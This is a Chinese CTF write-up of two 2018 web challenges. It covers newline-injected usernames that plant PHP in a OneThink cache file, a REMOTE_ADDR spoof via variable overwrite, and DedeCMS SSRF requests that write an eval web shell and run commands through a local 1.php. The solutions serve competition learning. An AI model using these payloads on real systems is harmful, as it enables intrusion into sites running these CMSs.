2018巔峰極客第一場Web題兩道
A Simple CMS
一個16 年已經停更,基於 thinkphp 開發的 cms
網站目錄大致如下,www.zip
是提供的原始碼檔案
搜尋 onethink 漏洞
相關文章,會發現這篇 http://www.hackdig.com/06/hack-36510.htm (thinkphp框架寫的開源系統或被getshell tp官方onethink舉例),漏洞大致原因是因為寫入快取檔案時沒有對換行進行處理,快取檔案裡有註冊過的使用者名稱,因為是 thinkphp 框架,快取檔名字是固定的,導致可以寫入任意程式碼執行命令。
比較坑的一點也算是考點,網上幾乎所有文章寫的快取檔案的名字都是一樣的 2bb202459c30a1628513f40ab22fa01a.php
onethink_d403acece4ebce56a3a4237340fbbe70.php
,比較有意思的是題目網站也是存在 2bb202459c30a1628513f40ab22fa01a.php
這個檔案的,出題人的意圖可能是不希望我們生搬硬套文章裡的東西,而是懂原理,該怎麼去利用。
後面看了出題人的 wp ,才發現考察的是程式碼審計,這裡的程式碼修改了
使用者名稱過濾了 POST 和 Request 引數,雖然能夠註冊成功,但是登入的時候會提示使用者名稱被禁用,登入不了也就不能成功把程式碼寫入快取檔案,於是採用了其他文章的做法,(https://www.secpulse.com/archives/55862.html)
%0a$a=$_GET[a];//
和 %0aecho `$a`;//
兩個使用者,注意登入的順序,最後訪問快取檔案執行命令 http://4619edd345904a91aa141701b0ec30b0b8db7f68e99d4a98.game.ichunqiu.com//Runtime/Temp/onethink_d403acece4ebce56a3a4237340fbbe70.php?a=cat%20/tmp/flag
最後分享一道類似題目的思路,做題人發現 flag.php
cat 提取不到內容,可能是因為許可權不夠,於是採用了複製命令 cp flag.php flag.txt
再 cat flag.txt
的方法
$_SERVER[‘REMOTE_ADDR’]
使用 $_SERVER['REMOTE_ADDR']
獲取ip地址一定安全?
<?php
foreach($_REQUEST as $key => $value){
$$key = $value;
}
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>
post 或者 get 傳參 _SERVER['REMOTE_ADDR']=127.0.0.1
,可以繞過限制
DeDeFun
運維自己的網站,我還是喜歡用shell的方式,這樣肯定沒人能日進來了。
1.php
<?php
if ($_SERVER['REMOTE_ADDR'] !== '127.0.0.1') {
die('Who are you? your ip is:'.$_SERVER['REMOTE_ADDR']);
}
$_GET['a']($_GET['b']);
?>
dedecms 最新 5.7 版本,後臺被刪掉了,沒有前端 getshell 的思路,想到 ssrf
這道題考察前端時間出的爆破後臺目錄的思路,詳細可以檢視 dedecms利用萬用字元找後臺目錄
簡單提一下這個方法的思路,首先利用環境必須是 windows,利用了 windows 下的統配符 <
,其實這個思路本來就是 ssrf 的應用,利用 uploadsafe.inc.php
下的 getimagesize
函式,利用後臺目錄下的圖片 favicon.ico
,如果猜測正確正常反饋,否則提示 Upload filetype not allow !
, 具體可以參見文章。
ssrf 利用點找到了,接下來根據文章構造 poc :
POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 333
dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dassert%26b%3Dfile_put_contents%28%24_GET%5B1%5D%2Cbase64_decode%28%24_GET%5B2%5D%29%29%3B%261%3D.%2fuploads%2fstr3am1.php%262%3DPD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUW2NdKTs%2fPg%3D%3D&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
這裡 shell 傳遞兩個引數 a 和 b ,直接 post 傳遞一句話連線不上菜刀,檸檬師傅的思路是重新寫一個 shell ,也學習到了,另外因為 web 目錄沒有寫檔案許可權,所以寫到了 uploads 目錄下。
還有一種思路是直接命令執行,將 flag 讀到可訪問的位置,學習到一個變數 $IFS
,相當於 bash 下的空格。
POST /tags.php HTTP/1.1
Host: Str3am.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 230
dopost=save&_FILES[b4dboy][tmp_name]=http%3A%2f%2f127.0.0.1%2f1.php%3Fa%3Dsystem%26b%3Dcat%24IFS%2ftmp%2fflag_a4ga3QJsZ5DTCw8v%3E.%2fuploads%2fstr3am.txt&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
參考連結:
https://xz.aliyun.com/t/2469
https://paper.tuisec.win/detail/d1053143f127862
https://xz.aliyun.com/t/2064
https://liuxianglai.github.io/2018/07/23/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-CTF-%E9%83%A8%E5%88%86%E5%A4%8D%E7%8E%B0/